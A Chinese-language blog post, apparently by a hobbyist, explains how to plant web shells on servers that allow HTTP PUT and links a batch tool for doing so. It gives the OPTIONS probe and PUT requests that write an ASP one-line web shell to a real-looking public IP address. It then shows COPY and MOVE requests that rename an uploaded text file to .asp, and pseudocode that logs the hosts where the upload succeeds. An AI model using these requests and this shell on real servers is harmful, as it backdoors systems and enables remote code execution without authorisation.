HTTP

aven

　　上一篇文章 HTTP - PUT 上传文件/Shell 讲到自己搭了一个环境，去测试HTTP - PUT上传Shell。最近又遇到几个PUT上传的例子，也成功上传了几次，来分享一下思密达。
　　
　　0x00 判断是否允许HTTP PUT
　　发送这样的一份报文到服务器，查看服务器返回：



OPTIONS / HTTP/1.1
Host: 192.168.9.151:8086
Connection: Keep-alive
Accept: text/plain
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5
　　如果返回值是200，就可以进行下一步尝试
　　
　　0x10 HTTP - PUT 上传
　　根据语言的类型，需要上传不同类型的文件，不过先不急，试试上传一个txt文件。



PUT /test.txt HTTP/1.1
Content-Length: 31
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: 218.94.36.38:9010
<% execute(request("value")) %>
　　如果上传成功了，再好不过。不成功的话，有可能是因为HTTP请求头的问题。根据返回代码，可以参考 https://msdn.microsoft.com/en-us/library/aa142816(v=exchg.65).aspx
　　成功之后，再根据服务器语言上传对应的木马：



PUT /test.asp HTTP/1.1
Content-Length: 31
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: 218.94.36.38:9010
<% execute(request("value")) %>
　　即使格式都对，也有可能上传失败，服务器可能做了一些配置。不急，且往下看
　　
　　0x20 HTTP - COPY/MOVE
　　这时候，第一次上传成功的test.txt文件就起作用了。



COPY /test.txt HTTP/1.1
Host: test.com
Destination:  http://test.com/test.asp
Overwrite: T
　　或者采用MOVE：



MOVE /dir_name/test.aspx HTTP/1.1
Destination: /test.aspx
Host: test.com
　　注意MOVE的时候，要求两个文件不在同一个文件夹内。
　　大概走到这儿，能传上去的，就传上去了= =传不上去的，可以试试 HTTP METHOD 中其他的方法
　　
　　0x30 自动化实现
　　寂寞如雪，快速把工具写完了。
　　代码不直接贴了，Github地址：https://github.com/dabeike/http_put_shell
　　分享一下，在开发过程中遇到的问题和解决方案
　　伪代码：



if PUT_TXT:
if PUT_SHELL:
success_list.append(url)
exit()
else:
if COPY_SHELL:
success_list.append(url)
exit()
if MOVE_SHELL:
success_list.append(url)
exit()
else:   //PUT失败   
PUT不可用   
　　
　　0x40 HTTP返回值
　　无论是PUT、MOVE、COPY，成功的时候会返回201。但是如果上传文件的时候，当前目录下已有该文件或者在MOVE、COPY的时候，目标文件和当前文件在同一路径下时，会返回204，状态码描述为“No Content”。
　　针对这样的问题，解决方案如下：
　　① PUT的时候，随机生成一个500000以内的数字作为文件名。
　　② MOVE、COPY的时候，由用户手动输入路径（通过URL可得到）。
　　在上传的时候，可以让我们感觉精神振奋的是201/204。但大多数时候，statu_code会是404,503,403，甚至还会出现200（其实并没有什么卵用，只是服务器做了配置）。根据服务器的设置不同，同样是上传不同，返回值也会不同~~
　　
　　0x50 多个socket
　　因为最后加上了从文件中读取，批量的去读取，一开始以为socket对象只需要声明一次，就可以多次连接不同的URL。但是会一直报错。



sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
for line in file_object:
sock.connect((temp[0], int(temp[1])))
//一些处理
sock.close()
　　正确的方法应该是这样，每次连接连接都需要新建一下socket对象：



for line in file_object:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((temp[0], int(temp[1])))
//一些处理
sock.close()
　　
　　0x60 最后
　　比较老的一个漏洞，基本做不到批量拿站，仅仅自娱自乐~顺便练习python~